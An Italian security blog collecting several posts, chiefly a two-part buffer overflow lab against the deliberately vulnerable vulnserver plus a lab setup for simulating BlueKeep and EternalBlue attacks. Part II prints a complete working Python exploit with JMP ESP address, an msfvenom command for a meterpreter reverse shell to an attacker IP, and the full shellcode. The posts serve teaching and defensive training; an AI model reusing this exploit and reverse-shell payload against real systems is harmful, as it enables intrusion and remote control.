cyber security, hacking

Pivoting: lab setup

Osservare alcune specifiche tecniche di attacco consente di comprendere meglio quanto possa entrare in profondità un attacker. Uno scenario abbastanza tipico che mi capita di analizzare è relativo alla presenza di reti relativamente “piatte”, ovvero segmentate a livello di subnet/vlan ma talvolta non segregate e lasciate molto libere di comunicare tra loro.

Il disegno di una rete impatta notevolmente sulle opzioni che un attacker ha a disposizione una volta individuata una breccia. Lasciandoci alle spalle l’irrazionale pensiero che “a noi non capiterà mai”, una strategia di difesa efficace deve tener conto della possibilità che un attacco abbia successo con la conseguenza di trovarci con elementi interni della rete compromessi almeno in parte. Esistono decine di scenari esplorabili in tal senso: in generale nel momento in cui un attacker dovesse guadagnare una posizione all’interno della rete, non sapendo come la rete è strutturata, andrebbe a caccia di nuove informazioni con l’obiettivo di utilizzare il sistema compromesso come “base” per altre azioni.

Il pivoting è una delle classiche tecniche per entrare ancor più in profondità nella rete target in quanto consente all’attacker, se ve ne sono le condizioni, di passare da una rete all’altra estendendo il suo raggio d’azione. Ho volutamente evidenziato l’esigenza di specifiche condizioni perché questo avvenga in quanto, di fatto, un buon disegno della rete ed opportuni controlli possono limitare enormemente l’attività dell’ospite indesiderato.

A me piace mescolare, quindi nella live di questa sera tiriamo su un piccolo lab per provare la tecnica citata per vedere come un attacker potrebbe comportarsi e poi analizziamo le possibili azioni correttive da adottare per limitare l’azione dell’attacker.

Come di consueto alle 21:30 sul mio canale Twitch: https://www.twitch.tv/roccosicilia.

podcast

Miniserie: Cyber Security Path

Più lo affronto e lo approfondisco e più mi rendo conto di quanto il tema della gestione dei rischi cyber nelle aziende è veramente molto vasto: ci sono moltissimi aspetti da considerare per evitare che qualcosa scappi e non è detto che sia per tutti parimenti alla portata economica. Mentre scrivo ho da pochi minuti terminato la sessione con gli studenti del master in Cybersecurity e Data Protection della 24 Ore Business School ed una buona percentuale di partecipanti come primo feedback ha detto che di lezioni come quella svolta dovrebbero essercene molte, che il tema è interessante ma che servirebbe tempo per approfondire… considerando che la lezione che tengo dura 7 ore ed è solo uno dei moduli di un master ben più ampio e strutturato appare evidente quanto in realtà ci sarebbe da dire e discutere. Potrei parlare ininterrottamente per settimane solo di ciò che riguarda il mio ambito e probabilmente non esaurirei gli argomenti.

Ho pensato di provare e disegnare un percorso valido concettualmente per tutte le realtà su cui poi declinare delle azioni che possono essere anche molto differenti in base alla dimensione dell’organizzazione ed al budget che ha a disposizione. Visto che utilizzo il blog come base di approfondimento scritta e le live come momento di condivisione degli approfondimenti, il canale migliore per questo esperimento credo sia il podcast.

Annuncio quindi l’inizio di questo progetto, una miniserie (non so quanto lunga in realtà) in cui vorrei provare a mettere in fila degli argomenti orientativi per professionisti e decisori al fine di provare, nel mio piccolo, a dare qualche spunto che sicuramente richiederà poi un approfondimento. Come in passato manterrò la domenica come giorno per la registrazione e pubblicazione e tendenzialmente il lunedì comunicherò l’uscita della puntata.

I primi argomenti che vorrei trattare sono:

  • Consapevolezza, rendiamoci conto del campo di gioco in cui siamo
  • Chi sono i nostri “avversari”
  • Come misurare e comprendere le nostre debolezze
  • Come definire i rischio cyber
  • I percorsi per migliorare la nostra postura di difesa
  • Framework e certificazioni a supporto
  • Le competenze del team (collaboratori e fornitori)

Già in questi sette punti c’è tantissimo materiale che si potrebbe esporre. Vado a registrare la prima puntata.

cyber security, hacking

Buffer Overflow lab [II parte]

Nella prima parte ci eravamo fermati all’analisi della memoria subito dopo il crash del nostro servizio a seguito di una nostra specifica azione: abbiamo inviato un contenuto al server composto da una serie di “A” e abbiamo scoperto di poter andare a sovrascrivere il contenuto del registro EIP e anche l’area di memoria destinate alle variabili locali che fa riferimento all’ESP.

Visto che la vulnerabilità ci ha consentito di scrivere “A” ovunque possiamo calcolare la dimensione dell’area di memoria a cui abbiamo avuto accesso. Con Immunity possiamo analizzare il DUMP della memoria semplicemente facendo “tasto destro” sull’ESP e selezionando l’opzione Follow in DUMP:

Nel riquadro in basso a sinistra verrà presentato lo stato della memoria e andando in cima all stack è possibile vedere l’area di memoria in cui iniziamo a scrivere (0x0097F200). In modo simile, andando sul fondo dello stack, possiamo vedere dove ci siamo fermati (0x0097FDA8). Semplicemente facendo la differenza tra questi due valori avremo la dimensione di memoria sovrascritta:

Questo dato, 2984 byte, è estremamente importante per le fasi di analisi e stesura del codice del nostro exploit: ora sappiano che se inviamo questa quantità di informazioni il servizio andrà in crash e possiamo verificarlo con un piccolo script:

import socket

s = socket.socket()
s.connect( ("TARGET_IP", 9999) )

total_length = 2984
payload = [
	b"TRUN /.:/",
	b"A"*total_length,
]

payload = b"".join(payload)
s.send(payload)

Siamo quindi arrivati a governare il contenuto della memoria, EIP ed ESP compresi, tramite un nostro script. Il prossimo passo è scriverci qualcosa di sensato partendo proprio dall’instruction pointer. Dobbiamo prima di tutto capire come riempire il buffer senza mettere delle “A” anche del EIP. Una tecnico abbastanza semplice è mandare in crash il programma utilizzando caratteri che non abbiamo un pattern così da identificare successivamente cosa è stato scritto all’interno del registro ed avere così la possibilità di individuare il numero di byte necessari a riempire il buffer.

Possiamo utilizzare l’utility msf-patter_create per creare una stringa di 2984 caratteri:

$ msf-pattern_create -l 2984                  
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5A...

Utilizzando la stringa all’interno del payload, al posto del carattere “A” ovviamente, otterremo nuovamente il crash del servizio ma il contenuto del registro sarà molto diverso:

L’EIP è stato infatti sovrascritto dai caratteri del pattern che qui vediamo ovviamente visualizzati con il corrispettivo byte esadecimale visto che all’interno del registro non è possibile inserire delle “stringhe” nel loro formato. Non resta che scoprire quanti caratteri – e quindi byte – sono stati scritti nel buffer prima di arrivare a sovrascrivere l’EIP. Utilizziamo questa volta l’utility msf-patter_offset a cui chiederemo il numero di byte di offset in relazione alla stringa, opportunamente convertita, corrispondente all’esadecimale che vediamo dell’EIP:

$ msf-pattern_offset -l 2984 -q 386F4337        
[*] Exact match at offset 2003

Abbiamo trovato la dimensione del buffer: 2003 byte. Per verificare il nostro calcolo possiamo quindi modificare il nostro prototipo di exploit al fine di riempire il buffer per tutti i suoi 2003 byte e poi utilizzare un altro carattere per sovrascrivere ciò che viene subito dopo, ovvero il registro EIP.

import socket

s = socket.socket()
s.connect( ("TARGET_IP", 9999) )

total_length = 2984
offset = 2003
new_eip = b"BBBB"

payload = [
	b"TRUN /.:/",
	b"A"*offset,
	new_eip,
]

payload = b"".join(payload)
s.send(payload)

Riavviando il server tramite Immunity dovremmo ottenere il seguente comportamento:

Il contenuto del registro EIP è ora l’esadecimale “42 42 42 42” che corrisponde esattamente al carattere che abbiamo scelto per la variabile new_eip del nostro script. Ora controlliamo l’instruction pointer e si nota come l’ESP sia ora vuoto in quanto ci siamo fermati all’invio della stringa che doveva sovrascrivere l’EIP. Se nel nostro payload andiamo ad aggiungere un altro set di caratteri, ad esempio una serie di “C”, fino a riempire i restanti byte a disposizione dovremmo ottenere la sovrascrittura controllata anche dell’ESP.

payload = [
	b"TRUN /.:/",
	b"A"*offset,
	new_eip,
        b"C"*(total_length - offset - len(new_eip)),
]

Si seguito lo stato dei registri con questa modifica:

Siamo quindi nella condizione di poter scrivere ciò che vogliamo nelle tre aree di memoria a disposizione. Non stiamo però controllando l’esecuzione del programma che infatti va in crash. Questo perché non stiamo gestendo correttamente il contenuto del EIP (stiamo utilizzando dei semplici caratteri) ed il programma non può eseguire la sua JUMP nella corretta posizione di memoria dove si trova l’ESP.

Dobbiamo quindi capire in che area della memoria far puntare EIP per gestire correttamente la JUMP verso ESP. Immunity mette a disposizione diverse plugin tra cui una è MONA (https://github.com/corelan/mona). Non mi soffermo sull’utilizzo del tool e vi suggerisco il manuale scritto dall’autore; tramite il comando jmp -r ESP il tool ci mostra tutti i “pointers” di tipo “jmp esp”:

Ovviamente il servizio quando è in esecuzione ha diverse JUMP verso ESP in quanto ci sono più funzioni che vengono chiamate. A noi interessa individuare quella di cui stiamo abusando con il nostro exploit. Da notare che delle varie JUMP le ultime due contengono riferimenti a contenuti ascii… interessante visto che noi stiamo proprio inviando questo tipo di dato al programma. Potremmo quindi ipotizzare che una di queste JUMP sia quella che vogliamo controllare.

Per appurarlo dobbiamo annotarci il valore del registro (0x62501203 nel mio lab.) ed utilizzarlo come contenuto per l’EIP del nostro exploit. E’ ovviamente da considerare che questo valore è la rappresentazione esadecimale dei byte che sono effettivamente presenti del registro, dobbiamo quindi a nostra volta mandare il corretto valore opportunamente convertito.

Utilizziamo la libreria struct di cui nella live su Twitch abbiamo parlato per un abbondante quarto d’ora e qui non ci soffermiamo. Per convertire correttamente il dato il comando, da utilizzare al posto delle “B”, è il seguente:

new_eip = struct.pack('<I', 0x62501203)

Lo script ora sarà in grado di eseguire la JUMP in una posizione legittima dell’ESP dove, nell’ultima esecuzione, abbiamo posizionato una serie di “C”. Per verificare cosa accade a runtime possiamo impostare un breakpoint su Immunity così da fermare il programma subito prima della JUMP:

Eseguendo ora l’exploit dovremmo ottenere qualcosa di simile a questo:

Il valore dell’EIP è quello da noi impostato e se andiamo a verificare lo stato dello stack possiamo controllare il contenuto della memoria dove sono ben visibili i caratteri “A” che stiamo utilizzando per il buffer, il contenuto dell’EIP opportunamente convertito ed i caratteri “C”.

Grazie al breakpoint l’esecuzione è interrotta ma possiamo utilizzare i tasti F6 ed F7 per andare indietro ed avanti una istruzione alla volta. In questo momento siamo fermi sulla JUMP quindi andando avanti di una istruzione la JUMP verrà eseguita verso un’area di memoria legittima, quella dell’ESP.

Possiamo quindi osservare il contenuto delle prossime posizioni della memoria che corrisponde all’esadecimale 43, ovvero il carattere “C” con cui abbiamo riempito l’ESP. In pratica abbiamo raggiunto il principale obiettivo: possiamo governare la JUMP in un’area della memoria che possiamo controllare. Ora dobbiamo decidere cosa far eseguire e posizionare le istruzioni opportune in quest’area di memoria.

Nota: in questa occasione saltiamo il controllo di eventuali caratteri non ammessi, si prenda atto che non utilizzeremo istruzioni “\x00” nel nostro shellcode.

E’ da considerare che questa operazione, in contesti più complessi rispetto al nostro vuln-server, presenta delle incertezze ed è quindi opportuno costruire le condizioni per favorire l’esecuzione del nostro shellcode. Tipicamente viene utilizzata una specifica istruzione: \x90, la famigerata NOP. Di base diremo al processore di non fare nulla per qualche iterazione prima di incontrare il nostro shellcode.

Come shellcode useremo un altro famigerato strumento: meterpreter. Per utilizzare questa reverse shell nel nostro exploit dobbiamo inserire le istruzioni necessarie all’interno del payload. Con msfvenom possiamo fare esattamente questo:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.4 LPORT=4444 -b “\x00” -f python

Vediamo uno ad uno parametri:

  • -p windows/meterpreter/reverse_tcp ci serve ovviamente a definire la reverse shell che vogliamo utilizzare
  • LHOST=10.0.2.4 definisce l’IP della macchina dell’attacker a cui la shell dovrà collegarsi
  • LPORT=4444 definisce la porta della macchina dell’attacker dove il servizio sarà in ascolto
  • -b “\x00” esclude il carattere in questione per evitare interruzioni indesiderate dello shellcode
  • -f python aiuta i pigri e formatta l’output pronto per essere inserito in uno script python

Il risultato finale è qualcosa del genere:


import socket
import struct

s = socket.socket()
s.connect( ("192.168.1.7", 9999) )

total_length = 2983
offset = 2003
new_eip = struct.pack('<I', 0x62501203)
nop = b"\x90"*8

buf =  b""
buf += b"\xd9\xf6\xbb\x8f\xe3\x45\x67\xd9\x74\x24\xf4\x5a\x33"
buf += b"\xc9\xb1\x59\x31\x5a\x19\x03\x5a\x19\x83\xea\xfc\x6d"
buf += b"\x16\xb9\x8f\xfe\xd9\x42\x50\x60\xeb\x90\xd9\x85\x6f"
buf += b"\x9e\x88\x75\xfb\xf2\x20\xfe\xa9\xe6\x37\xb7\x04\x21"
buf += b"\x79\x48\x13\x5f\x51\x87\xe4\x0c\x9d\x86\x98\x4e\xf2"
buf += b"\x68\xa0\x80\x07\x69\xe5\x56\x6d\x86\xbb\x3f\x06\x0a"
buf += b"\x2c\x4b\x5a\x96\x4d\x9b\xd0\xa6\x35\x9e\x27\x52\x8a"
buf += b"\xa1\x77\x11\x5a\xba\xfc\x7d\x7b\xbb\xd1\x2d\xfe\x72"
buf += b"\xa1\xf1\x31\x7a\x03\x82\x06\x0f\x95\x42\x57\xcf\x57"
buf += b"\xa5\x95\x63\x56\xfe\x9e\x9b\x2c\xf4\xdc\x26\x37\xcf"
buf += b"\x9f\xfc\xb2\xcf\x38\x76\x64\x2b\xb8\x5b\xf3\xb8\xb6"
buf += b"\x10\x77\xe6\xda\xa7\x54\x9d\xe7\x2c\x5b\x71\x6e\x76"
buf += b"\x78\x55\x2a\x2c\xe1\xcc\x96\x83\x1e\x0e\x7e\x7b\xbb"
buf += b"\x45\x6d\x6a\xbb\xa6\x6d\x93\xe1\x30\xa1\x5e\x1a\xc0"
buf += b"\xad\xe9\x69\xf2\x72\x42\xe6\xbe\xfb\x4c\xf1\xb7\xec"
buf += b"\x6e\x2d\x7f\x7c\x91\xce\x7f\x54\x56\x9a\x2f\xce\x7f"
buf += b"\xa3\xa4\x0e\x7f\x76\x50\x05\x17\xb9\x0c\x18\xe2\x51"
buf += b"\x4e\x1b\xf9\x12\xc7\xfd\x51\x05\x87\x51\x12\xf5\x67"
buf += b"\x02\xfa\x1f\x68\x7d\x1a\x20\xa3\x16\xb1\xcf\x1d\x4e"
buf += b"\x2e\x69\x04\x04\xcf\x76\x93\x60\xcf\xfd\x11\x94\x9e"
buf += b"\xf5\x50\x86\xf7\x61\x9a\x56\x08\x04\x9a\x3c\x0c\x8e"
buf += b"\xcd\xa8\x0e\xf7\x39\x77\xf0\xd2\x3a\x70\x0e\xa3\x0a"
buf += b"\x0a\x39\x31\x32\x64\x46\xd5\xb2\x74\x10\xbf\xb2\x1c"
buf += b"\xc4\x9b\xe1\x39\x0b\x36\x96\x91\x9e\xb9\xce\x46\x08"
buf += b"\xd2\xec\xb1\x7e\x7d\x0f\x94\xfc\x7a\xef\x6a\x2b\x23"
buf += b"\x87\x94\x6b\xd3\x57\xff\x6b\x83\x3f\xf4\x44\x2c\x8f"
buf += b"\xf5\x4e\x65\x87\x7c\x1f\xc7\x36\x80\x0a\x89\xe6\x81"
buf += b"\xb9\x12\x19\xfb\xb2\xa5\xda\xfc\xda\xc1\xdb\xfc\xe2"
buf += b"\xf7\xe0\x2a\xdb\x8d\x27\xef\x58\x9d\x12\x52\xc8\x34"
buf += b"\x5c\xc0\x0a\x1d"

payload = [
	b"TRUN /.:/",
	b"A"*2003,
	new_eip,
	nop,
	buf,
	b"D"*(total_length - offset - len(new_eip) - len(nop) - len(buf)),
]

payload = b"".join(payload)
s.send(payload)

L’exploit è pronto e il payload è stato opportunamente modificato per aprire una shell verso la macchina attaccante. Ovviamente dobbiamo predisporre la macchina da cui eseguiremo l’exploit affinché sia in grado di accettare la connessione remota. Per comodità di laboratorio possiamo usare metasploit e configurare l’handler per meterpreter:

Una volta avviato il servizio sul sistema target potremo lanciare l’exploit. Se tutto funziona correttamente il server questa volta non andrà in crash ma resterà in esecuzione senza dare messaggi specifici. Accedendo alla console di metasploit dovremmo invece vedere la sessione della shell attiva:


L’argomento exploiting è per me molto affascinante e lo ritengo molto utile per comprendere diversi aspetti del funzionamento dei sistemi e delle applicazioni. Quando ho annunciato la mia volontà di dedicare uno spazio in quelle che poi sono state due live per un totale di 5 ore di video e due articoli qualcuno ha etichettato l’argomento come anacronistico probabilmente non riuscendo a vedere il lato formativo del tema.

Incontro molte persone che sulla carta sono “esperti” in cyber security e che non hanno mai neanche provato ad analizzare una vulnerabilità. Ritengo che questo trend sia pericoloso, si tende a dare per scontata la conoscenza intima dei sistemi ma è evidente che c’è qualcosa che non sta funzionando nella formazione delle nuove figure professionali. Ci sono delle lacune a livello di nozioni base e questo fatto è un evidente limite che gli attacker non è detto che abbiano.

cyber security, podcast

Strategia != tattica

Ho notato che sono concetti su cui non sempre si riflette e, ovviamente, anche nel campo della cyber security è bene considerare come costruire una strategia che consenta ad una organizzazione di migliorare il proprio livello di sicurezza. Nelle ultime sessioni live abbiamo spesso toccato aspetti tattici ed approfondimenti specifici che devono però essere necessariamente contestualizzati in una strategia.

La sessione live del 20 maggio, come sempre disponibile per qualche giorno sul canale, è dedicata a questo tema. Alla fine abbiamo chiacchierato per due ore e mezza abbondanti quindi propongo una rapida sintesi nella puntata del podcast dove, in 15 minuti, ho provato a condensare uno degli argomenti trattati. Qui è disponibile l’episodio.

Nelle prossime sessioni, sia su Twitch che nel podcast, vorrei provare ad affrontare diversi aspetti strategici per poi approfondirne l’applicazione con i relativi strumenti e le competenze necessarie.

cyber security, hacking

Buffer Overflow lab [I parte]

Premessa doverosa: tratto il tema perché mi piace e appassiona molto ma non sono certo un esperto, mi rivolgo quindi a chi come me è affascinato dall’argomento ed ha interesse ad approfondire passando per un esercizio pratico.

Durante una sessione live di qualche settimana fa (l’argomento era una simulazione di attacco) si è un po’ discusso e sono emerse domande circa lo sfruttamento delle vulnerabilità e le tecniche di exploiting. Ho quindi pensato di dedicare una live (ma ne serviranno almeno due) all’argomento con lo scopo di semplificare il semplificabile e fare qualcosa di molto pratico. La live di giovedì 5 maggio, ancora disponibile sul mio canale Twitch, introduce quindi l’argomento con un piccolo laboratorio estremamente realistico che chiunque può replicare. In questo post provo a mettere “in fila” i vari step visti durante la prima parte in live.

Intro: un grammo di teoria

Resistete, sono due cose ma fondamentali. Dobbiamo necessariamente capire come si manifesta un buffer overflow. Partiamo da un esempio molto semplice ed immaginiamo un programma base che ha una funzione main() dove avvengono “cose” ed una funzione task() che fa altre “cose”:

int main() {
    task();
    other_task();
}

int task() {
    char buff[42];
    ...
}

Cose succede nella memoria del nostro elaboratore quando un programma come questo viene eseguito? L’area di memoria interessata è chiamata stack (pila) perché si comporta proprio come una pila di byte nel momento in cui viene riempita di informazioni.

Sul “fondo” viene posizionata la funziona main() e le relative variabili locali, subito sopra si trova l’area di memoria che contiene l’indirizzo a cui andare per tornare alla funzione main() ed infine l’area dedicata alla funzione task().

Ciò che avviene quando il programma viene eseguito è sintetizzabile con i seguenti step:

  1. la funzione main() viene eseguita
  2. viene chiamata la funzione task()
  3. viene salvato il return address nel registro così da riprendere la funzione main() da dove si è fermata una volta eseguita la funzione task()
  4. viene eseguita la funzione task()
  5. viene letto il valore del return address
  6. il programma prosegue dall’istruzione successiva alla chiamata della funzione task()

Se tutto procede senza errori il programma terminerà con successo. In questo passaggio è importante comprendere che durante l’esecuzione della funzione task() l’area di memoria allocata dipende dalle esigenze della funzione in termini di “consumo”. Come si nota dallo pseudo-codice la variabile buff[42] è un array che può contenere 42 elementi. Cosa succederebbe se provassimo a scrivere 200 caratteri e non controllassimo questo evento a livello di codice?

Il contenuto del registro dove era stato salvato il return address viene sovrascritto ed il programma tenterebbe di riprendere da una posizione di memoria (AAAA nell’esempio) inesistente o non valida con relativo crash.

Exploiting

Capita la teoria vediamo come è potenzialmente sfruttabile questo meccanismo. Se potessimo controllare il valore del return address potremmo indirizzare il programma altrove ed eseguire le istruzioni presenti in altre aree di memoria. Con la stessa logica se potessimo scrivere istruzioni arbitrarie, invece delle “AAAA…”, nelle aree di memoria disponibili potremmo impostare il return address così da eseguire un jump esattamente dove sono state posizionate le nostre istruzioni arbitrarie.

Per ottenere questo risultato dobbiamo ovviamente sapere quanti byte scrivere nelle differenti aree di memoria. Ci serve quindi calcolare l’esatta dimensione del buffer, l’esatta posizione del registro EIP che contiene il citato return address ed infine l’inizio e la fine dalla successiva area di memoria.

Per ottenere tutte queste informazioni bisogna lavorare un po’ di debug e qualche calcolo esadecimale. Il modo migliore per comprenderlo è vederlo dal vivo, quindi il prossimo step è mettere le mani in pasta in un lab.

Lab Setup

Come accennato ad inizio post il laboratorio in questione ha il vantaggio di essere molto il linea con la realtà. Abbiamo un sistema che ospita un’applicazione vulnerabile la quale espone un servizio contattabile remotamente. Per mettere in piedi il sistema target dobbiamo quindi semplicemente predisporre una VM con sistema operativo Windows e scaricare l’applicazione vulnerabile.

Una volta preparata la vostra VM target dovete procurarvi l’applicazione che presenta la vulnerabilità: https://github.com/stephenbradshaw/vulnserver. Di base è un eseguibile che può essere lanciato direttamente dal prompt dei comandi:

Abbiamo quindi la nostra applicazione avviata e pronta a ricevere delle connessioni. Per fare qualche prova e come base anche per le successive operazioni di analisi possiamo usare la solita Kali che ci darà un mano anche successivamente grazie ad alcuni tools comodi. In questo scenario è necessario che le due VMs siano in comunicazione. Nel mio laboratorio condividono anche la stessa network ma non è un requisito.

Testing dell’applicazione

Dalla nostra Kali possiamo quindi provare a connetterci al server che risponde sulla porta 9999 utilizzando semplicemente netcat:

nc 192.168.1.7 9999

Il risultato dovrebbe essere qualcosa di simile:

A sinistra la sessione netcat, a destra la console del servizio.

Il servizio mette a disposizione diversi comandi in grado di ricevere dei valori. Nel caso specifico noi sappiano già qual è la funzione vulnerabile mentre in una situazione reale l’analista dovrebbe andare a caccia prima di tutto della vulnerabilità o del bug da sfruttare. In questa sessione non tocchiamo il tema bug hunting quindi ci limitiamo a saltare al momento in cui, tramite una tecnica molto usata che è il fuzzing, scoviamo il bug nella funziona TRUN del programma.

Mettiamoci quindi per un attimo nei panni del bug hunter (tra l’altro attività meravigliosa che richiede molta abilità) che arriva al test del comando TRUN del server ed utilizziamo un tool della nostra Kali: generic_send_tcp. Questo piccolo software ci consente di creare ed inviare pacchetti TCP al target per vedere cosa succede, dobbiamo prima definire le istruzioni da passare al programma che possiamo mettere in un file di configurazione che io chiamerò fuzz.spk:

s_readline();
s_string("TRUN ");
s_string_variable("FUZZ");

Il file ha tre semplici direttive abbastanza chiare:

  • leggiamo l’output del server così da vedere cosa risponde alle nostre sollecitazioni
  • chiamiamo il comando TRUN
  • “spariamo” del contenuto per vedere come reagisce

Una volta pronto il file con le configurazioni possiamo fare fuoco:

generic_send_tcp 192.168.1.7 9999 fuzz.spk 0 0

Dovremmo ottenere il crash dell’applicazione sul server Windows:

A sinistra lo script di fuzzing in esecuzione, a destra il servizio andato in crash.

Il programma va in crash e abbiamo quindi la conferma del bug. Nel nostro caso sappiamo già essere un buffer overflow e in questo lab ci comporteremo di conseguenza cercando questo specifico comportamento.

Analisi della memoria

Abbiamo un servizio che va in crash se sollecitato in un certo modo… andiamo a vedere cosa succede in memoria quando si verifica il crash. Per questo lab utilizzo sulla macchina Windows il software Immunity Debugger; è una scelta di comodo che assolve al compito specifico di farci vedere cosa viene caricato in memoria quando il programma è in esecuzione e quando va in crash.

Immunity consente di avviare il servizio direttamente dalla propria interfaccia così da “pilotarne” ed analizzarne i singoli step, anche una istruzione alla volta. Avviamo quindi il servizio da Immunity ed avviamo il servizio:

Sulla destra troviamo lo stato dei registri del processore e in questa fase è interessante vedere che, oltre a non esserci errori, il registro EIP contiene una posizione di memoria che corrisponde a dove “mandare” il puntatore delle istruzioni una volta eseguita l’istruzione in gestione. E’ quini il return address di cui si parlava prima.

Vediamo cosa succede quando lanciamo il nostro fuzzer e mandiamo in crash il programma:

Su questo screenshot si potrebbe parlare per diverse ore. Cosa sta succedendo?

Subito in cima vediamo chiaramente la nostra richiesta: la chiamata alla funzione TRUN arriva direttamente da nostro fuzzer e subito dopo vediamo i valori passati alla funzione, una serie di caratteri “A”.

Altro elemento da notare è il contenuto dell’area a cui punta il registro ESP, porzione di memoria destinata alle variabili locali del programma in esecuzione. Anche qui vediamo una serie di caratteri “A”.

Infine, forse l’elemento più interessante, il contenuto del registro EIP: 41414141 ovviamente esadecimale. A cosa corrisponde 41 esadecimale? Al carattere “A”. Interessante! Le “A” che abbiamo sparato con il fuzzer sono andate praticamente dappertutto: hanno riempito la porzione di memoria destinata alle variabili della funzione, hanno sovrascritto il registro EIP e sono arrivate a riempire l’area di memoria destinata alle variabili del programma. Quale delle precedenti immagini vi ricorda? Siamo chiaramente davanti ad un buffer overflow.


Per questa prima parte mi fermo qui. Nella seconda parte vediamo come manipolare in modo preciso il contenuto dei registri ed iniziare a scrivere il nostro exploit ora che abbiamo individuato la vulnerabilità.

cyber security, hacking

Attack Simulation, preparazione di uno scenario

A seguito di specifici Security Assessment è normale che emergano vulnerabilità anche gravi per le quali, tipicamente, si suggerisce di eseguire un patching del sistema o altre azioni di mitigazione. Purtroppo va considerato che in alcune situazioni in patching non è applicabile, spesso per ragioni non tecniche. Per portare un esempio particolarmente emblematico basta far riferimento all’evoluzione dei sistemi di automazione industriale, macchine o intere linee di produzione realizzate per restare operative per decenni e che spesso presentano componenti software che, semplicemente, non si possono aggiornare perché non è mai stata rilasciata una nuova versione. In questi casi non è raro trovare sistemi operativi particolarmente datati con tutti i problemi a livello di gestione della sicurezza che questo comporta.

E’ opportuno essere pragmatici ed agire in un’attica di gestione del rischio, cosa che non significa – purtroppo – necessariamente eliminare ogni tipo di rischio. Una volta rilevata una possibile debolezza per la quale non è possibile applicare le più classiche remediation potrebbe essere utile approfondire l’analisi per cercare di stimare nel modo più preciso possibile quanto sia sfruttabile la falla ed i possibili impatti sul business del potenziale target.

Progettare e realizzare simulazioni di attacco può essere un utile strumento di verifica in quanto da la possibilità di esplorare realisticamente ciò che potrebbe avvenire e come gli eventuali sistemi di sicurezza reagirebbero a certe sollecitazioni. Inoltre, in caso di detection, l’attività è utile anche per verificare l’efficienza delle procedure di incident responce dei team operativi.

In questi giorni sto preparando uno scenario molto semplice che coinvolgerà parte del team target in qualità osservatori al fine di comprendere alcuni aspetti delle attività offensive. Vista la natura in parte didattica dell’attività ho pensato di condividere parte dello scenario ed approfittare di una delle sessioni live su Twitch per giocare un po’ con lo scenario.

Elementi base del lab

Come accennavo lo scenario è molto semplice in quanto presenta sistemi molto obsoleti che devono necessariamente esporre servizi vulnerabili. Nel caso specifico si tratta di sistemi Microsoft Windows fuori supporto e non aggiornabili che presentano le vulnerabilità note Blue Keep (CVE-2019-0708) e Ethernal Blue (CVE-2017-0144), le macchine server utilizzano proprio uno dei servizi vulnerabili in quando espongono delle share folder.

I sistemi vulnerabili sono confinati in una rete server (blue network nello schema) e sono raggiungibili solo da alcuni sistemi client che per ragioni operative devono accedere alle share dei citati server. La visibilità tra le reti è garantita da un firewall che, nella configurazione di base, non applica controlli specifici per il controllo delle minacce.

Per il lab di base utilizzo quindi i seguenti sistemi:

  • Virtual Machine “client” con sistema operativo Microsoft Windows 7
  • Virtual Machine “server” con sistema operativo Microsoft Windows 7
  • Virtual Machine “server” con sistema operativo Ubuntu Linux 22.04 LTS
  • Virtual Machine “firewall” con vAppliance Endian (v3.3.2) Community Edition

Preparazione macchina client

Il sistema client è veramente base, una semplice installazione di Windows 7 va benissimo. Le uniche configurazione della macchina sono a livello rete e gli utenti. La configurazione di rete del mio sistema è la seguente:

Dettaglio conf. di rete

Nel mio lab il gateway della rete client è il Firewall che a sua volta ha un gateway per le reti esterne. In questo modo dando ai sistemi che compongono il laboratorio un DNS è possibile farli accedere alla rete internet. La configurazione rispecchia lo scenario reale.

Traceroute dalla macchina client

Per quanto riguarda gli utenti l’esigenza è di avere un utente amministratore locale ed un utente non privilegiato. Nello scenario reale questo sistema sarebbe membro di un dominio Active Directory ma in questo caso ci accontentiamo della doppia utenza. E’ ovviamente previsto, in fase di attacco, l’accesso fisico al sistema con una sessione attiva dell’utente non privilegiato.

Nota a margine: il client nello scenario reale potrebbe essere una macchina Windows 7 o Windows 10. In questa sessione ci accomodiamo sul sistema operativo più datata.

Preparazione macchina server Windows

Di base si tratta di una macchina praticamente identica alla macchina client se non per la posizione nella rete (come da schema), la configurazione della share e le relative regole del firewall locale. A dire il vero nello scenario reale il firewall locale è disabilitato, quindi questa sarà la configurazione di partenza anche nel lab.

Preparazione macchina server Linux

Si tratta di un semplice ambiente LAMP basato su Ubuntu Linux e in questo scenario probabilmente non verrà utilizzato, ma visto che l’obiettivo è sfruttare il laboratorio anche per altre sessioni ha senso tenerla pronta.

Preparazione macchina Firewall

Come accennato nel mio caso ho scelto una semplice vAppliance Endian per la quale ho configurato tre zone e relative reti:

  • Green: corrisponde alla LAN della rete di laboratorio e su questa interfaccia è anche attiva la Management Console disponibile alla URL https://ip:10443
  • Blue: corrisponde al segmento SERVER della rete di laboratorio
  • Uplink: corrisponde alla WAN della rete di laboratorio
Endian Console

In configurazione di default la zone Green e la zona Blue sono in piena visibilità, quindi il sistema client potrà dialogare da subito con il sistema server e il traffico potrà essere registrato nei logs del firewall:

Preparazione macchina c&c

Come accennato anche nella live del 21 aprile (online ancora per qualche giorno) per pura comodità la macchina che utilizzeremo come c&c sarà il sistema Kali del mio lab ma, visto l’utilizzo che vogliamo farle nei primi test, va benissimo una qualsiasi macchina linux che sia in grado di ospitare un web server. Nel laboratorio utilizzerò Apache con Php e Python.

Questo sistema verrà utilizzato come una macchina già compromessa o comunque sotto il controller dell’attacker che è in grado di accedervi remotamente e comodamente via ssh.

Prima fase dell’attacco

Come anticipato lo scenario prevede un accesso fisico al sistema client da cui si dovrà poi sviluppare l’attacco. Partirei quindi da una serie di rilevamenti sul sistema di partenza per poi usare la macchina come base per una scansione mirata nella rete target.

Una delle ipotesi di partenza è che l’attacker sia ragionevolmente certo di trovare le vulnerabilità citate, il sistema di scansione dovrà quindi operare in modo chirurgico. Una volta individuati i sistemi potenzialmente vulnerabili si dovrà procedere con l’exploiting del sistema con lo scopo di creare un accesso permanente alla macchina.

